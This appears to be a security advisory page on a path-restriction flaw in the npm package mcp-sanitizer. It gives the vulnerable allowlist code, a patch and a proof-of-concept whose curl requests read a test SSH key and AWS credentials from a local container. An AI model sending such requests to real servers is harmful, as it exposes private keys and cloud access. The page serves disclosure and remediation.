Live › vulnerability › GHSA-7w82-6f9j-v9jp
Go to dashboardmcp-sanitizer v1.3.3 and earlier whitelists /home/ and /Users/ as safe absolute path prefixes, so paths like /home/alice/.ssh/id_rsa or ~/.aws/credentials pass validation. A consumer app that trusts the sanitized path and reads or writes it exposes SSH keys and cloud credentials to a remote request.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-28 19:56 UTC. All times on this page are UTC.
Applications that use mcp-sanitizer to validate file paths for MCP file_reader or file_writer tools, especially when exposed over a network through the Express middleware. Systems where no file tool accepts client-supplied paths, or where reads are confined to a fixed directory in application code, are less exposed.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| mcp-sanitizer | npm | < 1.4.0 | 1.4.0 |
npm ls mcp-sanitizer; affected versions are below 1.4.0.sanitizer.sanitize( with type: 'file_path' whose result is passed to fs.readFile or fs.writeFile.file_reader or file_writer tool parameters.mcp-sanitizer to 1.4.0.blocked: false results from file path sanitization for home-directory paths; restrict file tools to a fixed safe root in your own code.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
mcp-sanitizer v1.3.3 explicitly whitelists /home/ and /Users/ as allowed absolute path prefixes in its file path validation logic (src/utils/validation-utils.js:188-196). As a result, paths such as /home/alice/.ssh/id_rsa and /home/alice/.aws/credentials pass through sanitizer.sanitize() with blocked=false, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., fs.readFile) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.
The vulnerability resides in the validateFilePath function inside src/utils/validation-utils.js. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:
// src/utils/validation-utils.js:188-196
if (!isInSafeLocation && path.isAbsolute(normalizedPath)) {
const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
const isAllowedAbsolute = allowedAbsolutePaths.some(allowed =>
normalizedPath.toLowerCase().startsWith(allowed.toLowerCase())
);
if (!isAllowedAbsolute) {
throw new Error('Absolute path not in allowed safe directory');
}
}
Because /home/ and /Users/ are included in allowedAbsolutePaths, any path beneath those directories — including ~/.ssh/id_rsa, ~/.aws/credentials, ~/.kube/config, ~/.gnupg/, etc. — is considered safe and passes validation unchanged.
The dangerous paths (dangerousUnixPaths at src/utils/validation-utils.js:135) only cover /etc/, /proc/, /sys/, /dev/, /root/, /boot/, /usr/bin/, and /sbin/. Home-directory sensitive subdirectories (.ssh, .aws, .gnupg, .kube, .config) are never checked.
The full data flow from a network request to the vulnerable return value is:
src/middleware/express.js:538-541 — The Express middleware routes file_reader/file_writer tool parameters to sanitizer.sanitize(params.file_path, { type: 'file_path' }).src/sanitizer/mcp-sanitizer.js:523-524 — When context.type === 'file_path', _secureSanitizeFilePath() is called.src/sanitizer/mcp-sanitizer.js:683-687 — validateFilePath() is invoked; if it does not throw, the normalized path is returned as the sanitized value.src/utils/validation-utils.js:188-196 — The /home/ prefix check passes without error.src/utils/validation-utils.js:200-201 — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.A consumer application receiving { blocked: false, sanitized: '/home/victim/.ssh/id_rsa' } is expected to use that path for I/O. The sanitizer's own README and middleware integration imply that a blocked: false result is safe to act upon.
Suggested patch:
--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@
const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/'];
+ const sensitiveHomeFragments = [
+ '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/',
+ '/.npmrc', '/.env'
+ ];
@@
+ const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase();
+ if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) {
+ throw new Error('Access to sensitive user configuration path not allowed');
+ }
@@
- const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
+ const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];
Environment requirements: Docker, Python 3, Node.js 20
Step 1 — Build and start the reproduction container:
# From the vuln-002/ directory
python3 poc.py
The script automatically:
mcp-sanitizer source into a Docker build context./home/victim/.ssh/id_rsa and /home/victim/.aws/credentials inside the container.server.js) that calls sanitizer.sanitize() and then fs.readFile on the returned path.Step 2 — Manual HTTP requests (after the container is running on port 13572):
Control test — must be blocked:
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}'
# Expected: {"blocked": true}
Exploit test 1 — SSH private key exfiltration:
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."}
Exploit test 2 — AWS credentials exfiltration:
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."}
Observed results (Phase 2 dynamic reproduction):
[Test 1 — Control] POST /tool {file_path: '/etc/passwd'}
=> blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/)
[Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'}
=> blocked=false, EXPLOIT_SUCCESS=true
sanitized_path: /home/victim/.ssh/id_rsa
file_content:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK
SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002
-----END RSA PRIVATE KEY-----
[Test 3 — Exploit] POST /tool {file_path: '/home/victim/.aws/credentials'}
=> blocked=false, EXPLOIT_SUCCESS=true
file_content:
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
region = us-east-1
Root cause confirmed: validation-utils.js:190 — allowedAbsolutePaths includes '/home/' and '/Users/'; any absolute path starting with /home/ passes with blocked=false.
This is a Path Traversal / Improper Path Restriction (CWE-22) vulnerability.
Any application that integrates mcp-sanitizer to validate file paths for MCP file_reader or file_writer tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under /home/ or /Users/ — requiring no authentication, no special privileges, and no interaction from a legitimate user.
Sensitive targets include but are not limited to:
~/.ssh/id_rsa, ~/.ssh/id_ed25519)~/.aws/credentials, ~/.config/gcloud/credentials.db)~/.kube/config)~/.gnupg/)~/.npmrc, ~/.netrc, ~/.env)The confidentiality impact is High because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files.
Dockerfile# VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass
# Builds a Node 20 container with:
# - mcp-sanitizer source from the local repo
# - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/
# - A consumer HTTP server that trusts the sanitizer
FROM node:20-slim
LABEL vuln="VULN-002" \
cwe="CWE-22" \
This page as .md · .json · in your agent: get_signal("GHSA-7w82-6f9j-v9jp")
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.